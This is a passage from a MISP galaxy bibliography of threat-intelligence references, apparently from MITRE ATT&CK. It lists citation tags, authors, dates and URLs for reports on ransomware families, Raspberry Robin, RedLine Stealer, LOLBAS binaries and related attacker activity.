Lawrence Abrams. (2020, November 6). RansomExx ransomware also encrypts Linux systems. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="BleepingComputer November 6 2020"*

Table 22646. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomexx-ransomware-also-encrypts-linux-systems/

Kaspersky November 6 2020

Fedor Sinitsyn. (2020, November 6). RansomEXX Trojan attacks Linux systems. Retrieved May 2, 2024.

The tag is: *misp-galaxy:references="Kaspersky November 6 2020"*

Table 22647. Table References

Links
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/

Trellix RansomHouse February 14 2024

Pham Duy Phuc, Max Kersten, Noël Keijzer, Michaël Schrijver. (2024, February 14). RansomHouse am See. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Trellix RansomHouse February 14 2024"*

Table 22648. Table References

Links
https://www.trellix.com/blogs/research/ransomhouse-am-see/

Trellix Rnasomhouse 2024

Pham Duy Phuc, Max Kersten, Noël Keijzer, and Michaël Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Trellix Rnasomhouse 2024"*

Table 22649. Table References

Links
https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/

Group-IB RansomHub FEB 2025

Alfano, V. et al. (2025, February 12). RansomHub Never Sleeps Episode 1: The evolution of modern ransomware. Retrieved March 17, 2025.

The tag is: *misp-galaxy:references="Group-IB RansomHub FEB 2025"*

Table 22650. Table References

Links
https://www.group-ib.com/blog/ransomhub-never-sleeps-episode-1/

BroadcomSW June 5 2024

Threat Hunter Team Symantec. (2024, June 5). RansomHub New Ransomware has Origins in Older Knight. Retrieved June 7, 2024.

The tag is: *misp-galaxy:references="BroadcomSW June 5 2024"*

Table 22651. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/ransomhub-knight-ransomware

FBI-ransomware

FBI. (n.d.). Ransomware. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="FBI-ransomware"*

Table 22652. Table References

Links
https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf

SentinelOne INC Ransomware

SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="SentinelOne INC Ransomware"*

Table 22653. Table References

Links
https://www.sentinelone.com/anthology/inc-ransom/

IBM Ransomware Trends September 2020

Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="IBM Ransomware Trends September 2020"*

Table 22654. Table References

Links
https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/

DHS/CISA Ransomware Targeting Healthcare October 2020

DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.

The tag is: *misp-galaxy:references="DHS/CISA Ransomware Targeting Healthcare October 2020"*

Table 22655. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-302a

FBI Ransomware Tools November 7 2023

Federal Bureau of Investigation. (2023, November 7). Ransomware Actors Continue to Gain Access through Third Parties and Legitimate System Tools. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="FBI Ransomware Tools November 7 2023"*

Table 22656. Table References

Links
https://www.aha.org/system/files/media/file/2023/11/bi-tlp-clear-pin-ransomware-actors-continue-to-gain-access-through-third-parties-and-legitimate-system-tools-11-7-23.pdf

FireEye Ransomware Feb 2020

Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021.

The tag is: *misp-galaxy:references="FireEye Ransomware Feb 2020"*

Table 22657. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html

FireEye Ransomware Disrupt Industrial Production

Zafra, D. Lunden, K. Brubaker, N. Kennelly, J.. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved February 9, 2021.

The tag is: *misp-galaxy:references="FireEye Ransomware Disrupt Industrial Production"*

Table 22658. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html

Check Point Pay2Key November 2020

Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021.

The tag is: *misp-galaxy:references="Check Point Pay2Key November 2020"*

Table 22659. Table References

Links
https://research.checkpoint.com/2020/ransomware-alert-pay2key/

Microsoft Ransomware as a Service

Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.

The tag is: *misp-galaxy:references="Microsoft Ransomware as a Service"*

Table 22660. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Sophos News August 14 2024

Andreas Klopsch. (2024, August 14). Ransomware attackers introduce new EDR killer to their arsenal. Retrieved August 22, 2024.

The tag is: *misp-galaxy:references="Sophos News August 14 2024"*

Table 22661. Table References

Links
https://news.sophos.com/en-us/2024/08/14/edr-kill-shifter/

Cyble March 1 2023

Cybleinc. (2023, March 1). Ransomware Attack on IL&FS. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Cyble March 1 2023"*

Table 22662. Table References

Links
https://blog.cyble.com/2023/03/01/ransomware-attack-on-ilfs/

The Register EDR Killers March 31 2025

Jessica Lyons. (2025, March 31). Ransomware crews add 'EDR killers' to their arsenal – and some aren't even malware. Retrieved June 6, 2025.

The tag is: *misp-galaxy:references="The Register EDR Killers March 31 2025"*

Table 22663. Table References

Links
https://www.theregister.com/2025/03/31/ransomware_crews_edr_killers/

Rapid7 Blog October 3 2024

Rapid. (2024, October 3). Ransomware Groups Demystified CyberVolk Ransomware . Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="Rapid7 Blog October 3 2024"*

Table 22664. Table References

Links
https://www.rapid7.com/blog/post/2024/10/03/ransomware-groups-demystified-cybervolk-ransomware/

Rapid7 Blog September 12 2024

Rapid. (2024, September 12). Ransomware Groups Demystified Lynx Ransomware . Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Rapid7 Blog September 12 2024"*

Table 22665. Table References

Links
https://www.rapid7.com/blog/post/2024/09/12/ransomware-groups-demystified-lynx-ransomware/

CERT AT Fortinent Ransomware 2025

CERT Austria. (2025, March 20). Ransomware-Gruppen nutzen weiterhin kritische Fortinet-Schwachstellen - Warnung vor gepatchten, aber bereits kompromittierten Geräten. Retrieved March 31, 2025.

The tag is: *misp-galaxy:references="CERT AT Fortinent Ransomware 2025"*

Table 22666. Table References

Links
https://www.cert.at/de/warnungen/2025/3/ransomware-gruppen-nutzen-weiterhin-kritische-fortinet-schwachstellen-warnung-vor-gepatchten-aber-bereits-kompromittierten-geraten

S-RM March 25 2025

Lori Murphy. (2025, March 25). Ransomware in focus Meet NightSpire. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="S-RM March 25 2025"*

Table 22667. Table References

Links
https://www.s-rminform.com/latest-thinking/ransomware-in-focus-meet-nightspire

Www.invictus-ir.com 1 11 2024

Www.invictus-ir.com. (2024, January 11). Ransomware in the cloud. Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="Www.invictus-ir.com 1 11 2024"*

Table 22668. Table References

Links
https://www.invictus-ir.com/news/ransomware-in-the-cloud

Invictus IR Cloud Ransomware 2024

Invictus IR. (2024, January 11). Ransomware in the cloud. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Invictus IR Cloud Ransomware 2024"*

Table 22669. Table References

Links
https://www.invictus-ir.com/news/ransomware-in-the-cloud

Palo Alto Cloud Ransomware

Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Palo Alto Cloud Ransomware"*

Table 22670. Table References

Links
https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/

Cyble Safepay Devman June 3 2025

Cybleinc. (2025, June 3). Ransomware Landscape May 2025: SafePay, DevMan Emerge as Major Threats. Retrieved June 13, 2025.

The tag is: *misp-galaxy:references="Cyble Safepay Devman June 3 2025"*

Table 22671. Table References

Links
https://cyble.com/blog/top-ransomware-groups-may-2025-safepay-devman-rise/

McAfee Maze March 2020

Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020.

The tag is: *misp-galaxy:references="McAfee Maze March 2020"*

Table 22672. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/

Sophos SystemBC December 16 2020

Sivagnanam Gn, Sean Gallagher. (2020, December 16). Ransomware operators use SystemBC RAT as off-the-shelf Tor backdoor. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="Sophos SystemBC December 16 2020"*

Table 22673. Table References

Links
https://news.sophos.com/en-us/2020/12/16/systembc/

Fortinet Play Ransomware December 22 2022

Shunichi Imano, James Slaughter. (2022, December 22). Ransomware Roundup – Play. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="Fortinet Play Ransomware December 22 2022"*

Table 22674. Table References

Links
https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware

TrendMicro Akira October 5 2023

Trend Micro Research. (2023, October 5). Ransomware Spotlight: Akira. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="TrendMicro Akira October 5 2023"*

Table 22675. Table References

Links
http:/www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira[http:/www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira]

Trend Micro AvosLocker Apr 2022

Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Trend Micro AvosLocker Apr 2022"*

Table 22676. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker

Trend Micro Black Basta Spotlight September 2022

Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Trend Micro Black Basta Spotlight September 2022"*

Table 22677. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta

Trend Micro BlackCat October 27 2022

Trend Micro Research. (2022, October 27). Ransomware Spotlight: BlackCat. Retrieved March 5, 2024.

The tag is: *misp-galaxy:references="Trend Micro BlackCat October 27 2022"*

Table 22678. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackcat

Trend Micro LockBit Spotlight February 08 2023

Trend Micro Research. (2022, February 8). Ransomware Spotlight: LockBit. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="Trend Micro LockBit Spotlight February 08 2023"*

Table 22679. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit

Trend Micro Play Spotlight July 21 2023

Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="Trend Micro Play Spotlight July 21 2023"*

Table 22680. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play

Trend Micro Ransomware Spotlight Play July 2023

Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Trend Micro Ransomware Spotlight Play July 2023"*

Table 22681. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play

Trend Micro Royal Ransomware March 15 2023

Trend Micro Research. (2023, March 15). Ransomware Spotlight: Royal. Retrieved October 11, 2024.

The tag is: *misp-galaxy:references="Trend Micro Royal Ransomware March 15 2023"*

Table 22682. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-royal

Group IB Ransomware May 2020

Group IB. (2020, May). Ransomware Uncovered: Attackers' Latest Methods. Retrieved August 5, 2020.

The tag is: *misp-galaxy:references="Group IB Ransomware May 2020"*

Table 22683. Table References

Links
https://www.group-ib.com/whitepapers/ransomware-uncovered.html

GitHub ransomwatch

joshhighet. (n.d.). ransomwatch. Retrieved June 30, 2023.

The tag is: *misp-galaxy:references="GitHub ransomwatch"*

Table 22684. Table References

Links
https://github.com/joshhighet/ransomwatch

Microsoft PlayCrypt August 2022

Microsoft Security Intelligence. (2022, August 27). Ransom:Win32/PlayCrypt.PA. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Microsoft PlayCrypt August 2022"*

Table 22685. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/PlayCrypt.PA&ThreatID=2147830341

PyPI RAR

mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="PyPI RAR"*

Table 22686. Table References

Links
https://pypi.org/project/rarfile/

WinRAR Homepage

1. Roshal. (2020). RARLAB. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="WinRAR Homepage"*

Table 22687. Table References

Links
https://www.rarlab.com/

Aquino RARSTONE

Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.

The tag is: *misp-galaxy:references="Aquino RARSTONE"*

Table 22688. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/

Rasautou.exe - LOLBAS Project

LOLBAS. (2020, January 10). Rasautou.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Rasautou.exe - LOLBAS Project"*

Table 22689. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rasautou/

Red Canary Raspberry Robin May 2022

Lauren Podber, Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Red Canary Raspberry Robin May 2022"*

Table 22690. Table References

Links
https://redcanary.com/blog/raspberry-robin/

RedCanary RaspberryRobin 2022

Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="RedCanary RaspberryRobin 2022"*

Table 22691. Table References

Links
https://redcanary.com/blog/threat-intelligence/raspberry-robin/

TrendMicro RaspberryRobin 2022

Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="TrendMicro RaspberryRobin 2022"*

Table 22692. Table References

Links

https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html

HP RaspberryRobin 2024

Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="HP RaspberryRobin 2024"*

Table 22693. Table References

Links
https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/

Avast RaspberryRobin 2022

Jan Vojtěšek. (2022, September 22). Raspberry Robin's Roshtyak: A Little Lesson in Trickery. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="Avast RaspberryRobin 2022"*

Table 22694. Table References

Links
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/

Microsoft Security Raspberry Robin October 2022

Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Microsoft Security Raspberry Robin October 2022"*

Table 22695. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

Microsoft RaspberryRobin 2022

Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="Microsoft RaspberryRobin 2022"*

Table 22696. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

Dragos Raspite Aug 2018

Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.

The tag is: *misp-galaxy:references="Dragos Raspite Aug 2018"*

Table 22697. Table References

Links
https://www.dragos.com/blog/20180802Raspite.html

RATANKBA

Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.

The tag is: *misp-galaxy:references="RATANKBA"*

Table 22698. Table References

Links
https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html

TrendMicro RawPOS April 2015

TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.

The tag is: *misp-galaxy:references="TrendMicro RawPOS April 2015"*

Table 22699. Table References

Links
http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf

Rclone

Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.

The tag is: *misp-galaxy:references="Rclone"*

Table 22700. Table References

Links
https://rclone.org

Rclone Wars

Justin Schoenfeld and Aaron Didier. (2021, May 4). Rclone Wars: Transferring leverage in a ransomware attack. Retrieved August 30, 2022.

The tag is: *misp-galaxy:references="Rclone Wars"*

Table 22701. Table References

Links
https://redcanary.com/blog/rclone-mega-extortion/

rcsi.exe - LOLBAS Project

LOLBAS. (2018, May 25). rcsi.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="rcsi.exe - LOLBAS Project"*

Table 22702. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/

RDP Hijacking Medium

Beaumont, K. (2017, March 19). RDP hijacking—how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.

The tag is: *misp-galaxy:references="RDP Hijacking Medium"*

Table 22703. Table References

Links
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6

RDPWrap Github

Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.

The tag is: *misp-galaxy:references="RDPWrap Github"*

Table 22704. Table References

Links

https://github.com/stascorp/rdpwrap

rdrleakdiag.exe - LOLBAS Project

LOLBAS. (2022, May 18). rdrleakdiag.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="rdrleakdiag.exe - LOLBAS Project"*

Table 22705. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/

blog.vincss.net 1 13 2021

Yáº¿n Há»©a. (2021, January 13). [RE019] From A to X analyzing some real cases which used recent Emotet samples. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="blog.vincss.net 1 13 2021"*

Table 22706. Table References

Links
https://blog.vincss.net/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-emotet-samples/

ESET RTM Feb 2017

Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.

The tag is: *misp-galaxy:references="ESET RTM Feb 2017"*

Table 22707. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

FireEye Sunshop Campaign May 2013

Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Sunshop Campaign May 2013"*

Table 22708. Table References

Links

https://web.archive.org/web/20200302085651/https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html

Mandiant golang stripped binaries explanation

STEPHEN ECKELS. (2022, February 28). Ready, Set, Go — Golang Internals and Symbol Recovery. Retrieved September 29, 2022.

The tag is: *misp-galaxy:references="Mandiant golang stripped binaries explanation"*

Table 22709. Table References

Links
https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery

reagentc_cmd

Microsoft, EliotSeattle, et al. (2022, August 18). REAgentC command-line options. Retrieved October 19, 2022.

The tag is: *misp-galaxy:references="reagentc_cmd"*

Table 22710. Table References

Links
https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/reagentc-command-line-options?view=windows-11

Microsoft DART Case Report 001

Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Microsoft DART Case Report 001"*

Table 22711. Table References

Links
https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team

RootDSE AD Detection 2022

Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="RootDSE AD Detection 2022"*

Table 22712. Table References

Links
https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios

Sans ARP Spoofing Aug 2003

Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Sans ARP Spoofing Aug 2003"*

Table 22713. Table References

Links
https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411

ReasonLabs Cyberpedia Junk Code

What is Junk Code?. (n.d.). ReasonLabs. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="ReasonLabs Cyberpedia Junk Code"*

Table 22714. Table References

Links
https://cyberpedia.reasonlabs.com/EN/junk%20code.html

Github CLI Create Webhook

Github. (n.d.). Receiving webhooks with the GitHub CLI. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Github CLI Create Webhook"*

Table 22715. Table References

Links
https://docs.github.com/en/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli

Kaspersky Cloud Atlas August 2019

GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020.

The tag is: *misp-galaxy:references="Kaspersky Cloud Atlas August 2019"*

Table 22716. Table References

Links

https://securelist.com/recent-cloud-atlas-activity/92016/

Talos MuddyWater May 2019

Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="Talos MuddyWater May 2019"*

Table 22717. Table References

Links
https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html

Mandiant Pulse Secure Update May 2021

Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Mandiant Pulse Secure Update May 2021"*

Table 22718. Table References

Links
https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices

Free Desktop Entry Keys

Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Free Desktop Entry Keys"*

Table 22719. Table References

Links
https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html

Recorded Future APT3 May 2017

Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Recorded Future APT3 May 2017"*

Table 22720. Table References

Links

https://www.recordedfuture.com/research/chinese-mss-behind-apt3

Trend Micro Daserf Nov 2017

Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER's Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.

The tag is: *misp-galaxy:references="Trend Micro Daserf Nov 2017"*

Table 22721. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

Red Canary SocGholish March 2024

Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.

The tag is: *misp-galaxy:references="Red Canary SocGholish March 2024"*

Table 22722. Table References

Links
https://redcanary.com/threat-detection-report/threats/socgholish/

therecord_redcurl

Antoniuk, D. (2023, July 17). RedCurl hackers return to spy on 'major Russian bank,' Australian company. Retrieved August 9, 2024.

The tag is: *misp-galaxy:references="therecord_redcurl"*

Table 22723. Table References

Links
https://therecord.media/redcurl-hackers-russian-bank-australian-company

group-ib_redcurl2

Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.

The tag is: *misp-galaxy:references="group-ib_redcurl2"*

Table 22724. Table References

Links

https://www.group-ib.com/resources/research-hub/red-curl-2/

group-ib_redcurl1

Group-IB. (2020, August). RedCurl: The Pentest You Didn't Know About. Retrieved August 9, 2024.

The tag is: *misp-galaxy:references="group-ib_redcurl1"*

Table 22725. Table References

Links
https://www.group-ib.com/resources/research-hub/red-curl/

SC Media January 24 2025

Laura French. (2025, January 24). Reddit, WeTransfer pages spoofed in Lumma Stealer campaign. Retrieved February 7, 2025.

The tag is: *misp-galaxy:references="SC Media January 24 2025"*

Table 22726. Table References

Links
https://www.scworld.com/news/reddit-wetransfer-pages-spoofed-in-lumma-stealer-campaign

RHEL auditd

Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="RHEL auditd"*

Table 22727. Table References

Links
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing

Red Hat System Auditing

Jahoda, M. et al.. (2017, March 14). Red Hat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Red Hat System Auditing"*

Table 22728. Table References

Links

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing

Recorded Future RedHotel August 7 2023

Recorded Future. (2023, August 7). RedHotel: A Prolific Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Recorded Future RedHotel August 7 2023"*

Table 22729. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf

Recorded Future RedHotel August 2023

Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.

The tag is: *misp-galaxy:references="Recorded Future RedHotel August 2023"*

Table 22730. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf

Cylance Redirect to SMB

Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="Cylance Redirect to SMB"*

Table 22731. Table References

Links
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf

RedLine | Malware Trends Tracker August 19 2021

Stanislav Gayvoronsky; ANY RUN. (2021, August 19). RedLine . Retrieved January 29, 2025.

The tag is: *misp-galaxy:references="RedLine | Malware Trends Tracker August 19 2021"*

Table 22732. Table References

Links
https://any.run/malware-trends/redline

McAfee April 17 2024

McAfee Labs. (2024, April 17). Redline Stealer A Novel Approach . Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="McAfee April 17 2024"*

Table 22733. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/redline-stealer-a-novel-approach/

Netskope May 12 2022

Gustavo Palazolo. (2022, May 12). RedLine Stealer Campaign Using Binance Mystery Box Videos to Spread GitHub-Hosted Payload. Retrieved January 29, 2025.

The tag is: *misp-galaxy:references="Netskope May 12 2022"*

Table 22734. Table References

Links
https://www.netskope.com/jp/blog/redline-stealer-campaign-using-binance-mystery-box-videos-to-spread-github-hosted-payload

APOPHIS RedLine June 6 2023

APOPHIS. (2023, June 6). RedLine Technical Analysis Report. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="APOPHIS RedLine June 6 2023"*

Table 22735. Table References

Links
https://web.archive.org/web/20230606224056/https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152

Recorded Future RedMike February 13 2025

Insikt Group. (2025, February 13). RedMike (Salt Typhoon) Exploits Vulnerable Cisco Devices of Global Telecommunications Providers. Retrieved April 17, 2025.

The tag is: *misp-galaxy:references="Recorded Future RedMike February 13 2025"*

Table 22736. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf

Black Hills Red Teaming MS AD Azure, 2018

Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Black Hills Red Teaming MS AD Azure, 2018"*

Table 22737. Table References

Links
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

OutFlank System Calls

de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="OutFlank System Calls"*

Table 22738. Table References

Links
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/

US-CERT TA17-156A SNMP Abuse 2017

US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="US-CERT TA17-156A SNMP Abuse 2017"*

Table 22739. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/TA17-156A

Cloudflare ReflectionDoS May 2017

Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Cloudflare ReflectionDoS May 2017"*

Table 22740. Table References

Links
https://blog.cloudflare.com/reflections-on-reflections/

Trend Micro

Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Trend Micro"*

Table 22741. Table References

Links
https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html

Microsoft Reg

Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.

